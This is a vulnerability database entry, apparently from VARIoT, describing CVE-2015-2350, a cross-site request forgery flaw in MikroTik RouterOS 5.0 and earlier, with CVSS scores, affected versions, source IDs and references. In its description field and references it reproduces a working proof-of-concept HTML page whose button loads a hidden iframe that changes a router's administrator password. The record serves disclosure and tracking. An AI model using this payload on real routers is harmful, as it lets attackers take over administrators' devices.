var-201503-0428
Vulnerability from variot
Cross-site request forgery (CSRF) vulnerability in MikroTik RouterOS 5.0 and earlier allows remote attackers to hijack the authentication of administrators for requests that change the administrator password via a request in the status page to /cfg. MikroTik RouterOS is an operating system for routers. MikroTik RouterOS is prone to a cross-site request-forgery vulnerability because it fails to properly validate HTTP requests. Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible. This system turns a PC computer into a professional router. MikroTik RouterOS < v5.0 Admin Password Change CSRF Vulnerability by @SymbianSyMoh
What is MikroTik RouterOS?! MikroTik RouterOS is an operating system based on the Linux kernel, known as the MikroTik RouterOS. Installed on the company's proprietary hardware (RouterBOARD series), or on standard x86-based computers, it turns a computer into a network router and implements various additional features, such as firewalling, virtual private network (VPN) service and client, bandwidth shaping and quality of service, wireless access point functions and other commonly used features when interconnecting networks. The system is also able to serve as a captive-portal-based hotspot system. __"Wikipedia"
What is CSRF Attack?! Cross-Site Request Forgery (CSRF) is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (like sending a link via email/chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transfering funds, changing their email address, etc. If the victim is an administrative account, CSRF can compromise the entire web application. __"OWASP"
Affected Versions: All MikroTik RouterOS versions before v5.0
PoC Code:
MikroTik RouterOS < v4 Admin Password Change CSRF VulnerabilityMikroTik RouterOS < v4 Admin Password Change CSRF Vulnerability by @SymbianSyMoh
Video PoC: http://youtu.be/FHrvHJeLjLA http://s.bl-1.com/h/mPQQ237?url=http://youtu.be/FHrvHJeLjLA
-- Best Regards,,
Mohamed Abdelbaset ElnobyGuru Programmer, Information Security Evangelist & Bug Bounty Hunter. LinkedIn http://s.bl-1.com/h/mPQQ6S9?url=https://www.linkedin.com/in/symbiansymohCurriculum Vitae http://s.bl-1.com/h/mPQQCrC?url=http://goo.gl/cNrVpL http://s.bl-1.com/h/mPQQHFF?url=https://www.linkedin.com/in/symbiansymoh Facebook http://s.bl-1.com/h/mPQQNfH?url=https://fb.com/symbiansymohTwitter http://s.bl-1.com/h/mPQQS2K?url=https://twitter.com/symbiansymoh
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201503-0428",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "routeros",
"scope": "lte",
"trust": 1.8,
"vendor": "mikrotik",
"version": "5.0"
},
{
"model": "routeros",
"scope": "lt",
"trust": 0.6,
"vendor": "mikrotik",
"version": "v5.0"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.6,
"vendor": "mikrotik",
"version": "5.0"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "2.9.51"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "2.9.50"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "2.9.49"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "2.9.48"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "2.9.47"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "2.9.46"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "2.9.45"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "2.9.44"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "2.9.43"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "2.9.42"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "2.9.41"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "2.9.40"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "4.0"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "3.2"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "3.13"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "3.12"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "3.11"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "3.10"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "3.09"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "3.08"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "3.07"
},
{
"model": "routeros",
"scope": "eq",
"trust": 0.3,
"vendor": "mikrotik",
"version": "3.0"
},
{
"model": "routeros",
"scope": "ne",
"trust": 0.3,
"vendor": "mikrotik",
"version": "5.0"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2015-01812"
},
{
"db": "BID",
"id": "73013"
},
{
"db": "JVNDB",
"id": "JVNDB-2015-001894"
},
{
"db": "CNNVD",
"id": "CNNVD-201503-391"
},
{
"db": "NVD",
"id": "CVE-2015-2350"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:mikrotik:router_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2015-001894"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Mohamed Abdelbaset Elnoby",
"sources": [
{
"db": "BID",
"id": "73013"
}
],
"trust": 0.3
},
"cve": "CVE-2015-2350",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "CVE-2015-2350",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 1.8,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "CNVD-2015-01812",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "VHN-80311",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:M/AU:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2015-2350",
"trust": 1.0,
"value": "MEDIUM"
},
{
"author": "NVD",
"id": "CVE-2015-2350",
"trust": 0.8,
"value": "Medium"
},
{
"author": "CNVD",
"id": "CNVD-2015-01812",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201503-391",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-80311",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2015-01812"
},
{
"db": "VULHUB",
"id": "VHN-80311"
},
{
"db": "JVNDB",
"id": "JVNDB-2015-001894"
},
{
"db": "CNNVD",
"id": "CNNVD-201503-391"
},
{
"db": "NVD",
"id": "CVE-2015-2350"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Cross-site request forgery (CSRF) vulnerability in MikroTik RouterOS 5.0 and earlier allows remote attackers to hijack the authentication of administrators for requests that change the administrator password via a request in the status page to /cfg. MikroTik RouterOS is an operating system for routers. MikroTik RouterOS is prone to a cross-site request-forgery vulnerability because it fails to properly validate HTTP requests. \nExploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible. This system turns a PC computer into a professional router. MikroTik RouterOS \u003c v5.0 Admin Password Change CSRF Vulnerability by\n@SymbianSyMoh\n\nWhat is MikroTik RouterOS?!\nMikroTik RouterOS is an operating system based on the Linux kernel, known\nas the MikroTik RouterOS. Installed on the company\u0027s proprietary hardware\n(RouterBOARD series), or on standard x86-based computers, it turns a\ncomputer into a network router and implements various additional features,\nsuch as firewalling, virtual private network (VPN) service and client,\nbandwidth shaping and quality of service, wireless access point functions\nand other commonly used features when interconnecting networks. The system\nis also able to serve as a captive-portal-based hotspot system. \n__\"Wikipedia\"\n\n\nWhat is CSRF Attack?!\nCross-Site Request Forgery (CSRF) is an attack which forces an end user to\nexecute unwanted actions on a web application in which he/she is currently\nauthenticated. CSRF attacks specifically target state-changing requests,\nnot theft of data, since the attacker has no way to see the response to the\nforged request. With a little help of social engineering (like sending a\nlink via email/chat), an attacker may trick the users of a web application\ninto executing actions of the attacker\u0027s choosing. If the victim is a\nnormal user, a successful CSRF attack can force the user to perform state\nchanging requests like transfering funds, changing their email address,\netc. If the victim is an administrative account, CSRF can compromise the\nentire web application. \n__\"OWASP\"\n\n\nAffected Versions:\nAll MikroTik RouterOS versions before v5.0\n\n\nPoC Code:\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ctitle\u003eMikroTik RouterOS \u003c v4 Admin Password Change CSRF\nVulnerability\u003c/title\u003e\n\u003ch1\u003e\u003cb\u003eMikroTik RouterOS \u003c v4 Admin Password Change CSRF Vulnerability by\n@SymbianSyMoh\u003c/b\u003e\u003c/h1\u003e\u003c/br\u003e\n\u003cinput type=\"submit\" value=\"Do it\" onclick=\"var\nbtn=document.createElement(\u0027IFRAME\u0027);btn.src=\u0027\nhttp://192.168.0.2/cfg?page=status\u0026counter=1000\u0026process=password\u0026password1=Pwn3D2015\u0026password2=Pwn3D2015\u0026button=ok\u0027;btn.width=\u00270\u0027;btn.height=\u00270\u0027;btn.id=\u0027myIframe\u0027;document.body.appendChild(btn);alert(\u0027Pwned\u0027)\n\u003chttp://s.bl-1.com/h/mPQQyg5?url=http://192.168.0.2/cfg?page=status\u0026counter=1000\u0026process=password\u0026password1=Pwn3D2015\u0026password2=Pwn3D2015\u0026button=ok%27;btn.width=%270%27;btn.height=%270%27;btn.id=%27myIframe%27;document.body.appendChild(btn);alert(%27Pwned%27)\u003e\n;\"\u003e\u003c/br\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n\nVideo PoC:\nhttp://youtu.be/FHrvHJeLjLA\n\u003chttp://s.bl-1.com/h/mPQQ237?url=http://youtu.be/FHrvHJeLjLA\u003e\n\n-- \n*Best Regards**,**,*\n\n\n*Mohamed Abdelbaset Elnoby*Guru Programmer, Information Security Evangelist\n\u0026 Bug Bounty Hunter. \nLinkedIn\n\u003chttp://s.bl-1.com/h/mPQQ6S9?url=https://www.linkedin.com/in/symbiansymoh\u003eCurriculum\nVitae \u003chttp://s.bl-1.com/h/mPQQCrC?url=http://goo.gl/cNrVpL\u003e\n\u003chttp://s.bl-1.com/h/mPQQHFF?url=https://www.linkedin.com/in/symbiansymoh\u003e\nFacebook\n\u003chttp://s.bl-1.com/h/mPQQNfH?url=https://fb.com/symbiansymoh\u003eTwitter\n\u003chttp://s.bl-1.com/h/mPQQS2K?url=https://twitter.com/symbiansymoh\u003e\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2015-2350"
},
{
"db": "JVNDB",
"id": "JVNDB-2015-001894"
},
{
"db": "CNVD",
"id": "CNVD-2015-01812"
},
{
"db": "BID",
"id": "73013"
},
{
"db": "VULHUB",
"id": "VHN-80311"
},
{
"db": "PACKETSTORM",
"id": "130722"
}
],
"trust": 2.61
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2015-2350",
"trust": 3.4
},
{
"db": "PACKETSTORM",
"id": "130722",
"trust": 2.6
},
{
"db": "BID",
"id": "73013",
"trust": 1.4
},
{
"db": "JVNDB",
"id": "JVNDB-2015-001894",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201503-391",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2015-01812",
"trust": 0.6
},
{
"db": "SEEBUG",
"id": "SSVID-91799",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-80311",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2015-01812"
},
{
"db": "VULHUB",
"id": "VHN-80311"
},
{
"db": "BID",
"id": "73013"
},
{
"db": "JVNDB",
"id": "JVNDB-2015-001894"
},
{
"db": "PACKETSTORM",
"id": "130722"
},
{
"db": "CNNVD",
"id": "CNNVD-201503-391"
},
{
"db": "NVD",
"id": "CVE-2015-2350"
}
]
},
"id": "VAR-201503-0428",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-80311"
}
],
"trust": 0.01
},
"last_update_date": "2024-11-23T22:27:10.602000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "http://www.mikrotik.com/software"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2015-001894"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-352",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-80311"
},
{
"db": "JVNDB",
"id": "JVNDB-2015-001894"
},
{
"db": "NVD",
"id": "CVE-2015-2350"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.6,
"url": "http://seclists.org/fulldisclosure/2015/mar/49"
},
{
"trust": 2.5,
"url": "http://packetstormsecurity.com/files/130722/mikrotik-routeros-cross-site-request-forgery.html"
},
{
"trust": 1.1,
"url": "http://www.securityfocus.com/bid/73013"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2015-2350"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2015-2350"
},
{
"trust": 0.3,
"url": "http://www.mikrotik.com/"
},
{
"trust": 0.1,
"url": "http://s.bl-1.com/h/mpqqs2k?url=https://twitter.com/symbiansymoh\u003e"
},
{
"trust": 0.1,
"url": "http://youtu.be/fhrvhjeljla"
},
{
"trust": 0.1,
"url": "http://s.bl-1.com/h/mpqqhff?url=https://www.linkedin.com/in/symbiansymoh\u003e"
},
{
"trust": 0.1,
"url": "http://s.bl-1.com/h/mpqq237?url=http://youtu.be/fhrvhjeljla\u003e"
},
{
"trust": 0.1,
"url": "http://s.bl-1.com/h/mpqqnfh?url=https://fb.com/symbiansymoh\u003etwitter"
},
{
"trust": 0.1,
"url": "http://s.bl-1.com/h/mpqqyg5?url=http://192.168.0.2/cfg?page=status\u0026counter=1000\u0026process=password\u0026password1=pwn3d2015\u0026password2=pwn3d2015\u0026button=ok%27;btn.width=%270%27;btn.height=%270%27;btn.id=%27myiframe%27;document.body.appendchild(btn);alert(%27pwned%27)\u003e"
},
{
"trust": 0.1,
"url": "http://s.bl-1.com/h/mpqq6s9?url=https://www.linkedin.com/in/symbiansymoh\u003ecurriculum"
},
{
"trust": 0.1,
"url": "http://192.168.0.2/cfg?page=status\u0026counter=1000\u0026process=password\u0026password1=pwn3d2015\u0026password2=pwn3d2015\u0026button=ok\u0027;btn.width=\u00270\u0027;btn.height=\u00270\u0027;btn.id=\u0027myiframe\u0027;document.body.appendchild(btn);alert(\u0027pwned\u0027)"
},
{
"trust": 0.1,
"url": "http://s.bl-1.com/h/mpqqcrc?url=http://goo.gl/cnrvpl\u003e"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2015-01812"
},
{
"db": "VULHUB",
"id": "VHN-80311"
},
{
"db": "BID",
"id": "73013"
},
{
"db": "JVNDB",
"id": "JVNDB-2015-001894"
},
{
"db": "PACKETSTORM",
"id": "130722"
},
{
"db": "CNNVD",
"id": "CNNVD-201503-391"
},
{
"db": "NVD",
"id": "CVE-2015-2350"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2015-01812"
},
{
"db": "VULHUB",
"id": "VHN-80311"
},
{
"db": "BID",
"id": "73013"
},
{
"db": "JVNDB",
"id": "JVNDB-2015-001894"
},
{
"db": "PACKETSTORM",
"id": "130722"
},
{
"db": "CNNVD",
"id": "CNNVD-201503-391"
},
{
"db": "NVD",
"id": "CVE-2015-2350"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2015-03-19T00:00:00",
"db": "CNVD",
"id": "CNVD-2015-01812"
},
{
"date": "2015-03-19T00:00:00",
"db": "VULHUB",
"id": "VHN-80311"
},
{
"date": "2015-03-08T00:00:00",
"db": "BID",
"id": "73013"
},
{
"date": "2015-03-24T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2015-001894"
},
{
"date": "2015-03-08T13:03:33",
"db": "PACKETSTORM",
"id": "130722"
},
{
"date": "2015-03-20T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201503-391"
},
{
"date": "2015-03-19T14:59:02.557000",
"db": "NVD",
"id": "CVE-2015-2350"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2015-03-19T00:00:00",
"db": "CNVD",
"id": "CNVD-2015-01812"
},
{
"date": "2015-09-24T00:00:00",
"db": "VULHUB",
"id": "VHN-80311"
},
{
"date": "2015-04-13T21:03:00",
"db": "BID",
"id": "73013"
},
{
"date": "2015-03-24T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2015-001894"
},
{
"date": "2015-03-20T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201503-391"
},
{
"date": "2024-11-21T02:27:16.403000",
"db": "NVD",
"id": "CVE-2015-2350"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201503-391"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "MikroTik RouterOS Cross-Site Request Forgery Vulnerability",
"sources": [
{
"db": "CNVD",
"id": "CNVD-2015-01812"
},
{
"db": "CNNVD",
"id": "CNNVD-201503-391"
}
],
"trust": 1.2
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "cross-site request forgery",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201503-391"
}
],
"trust": 0.6
}
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.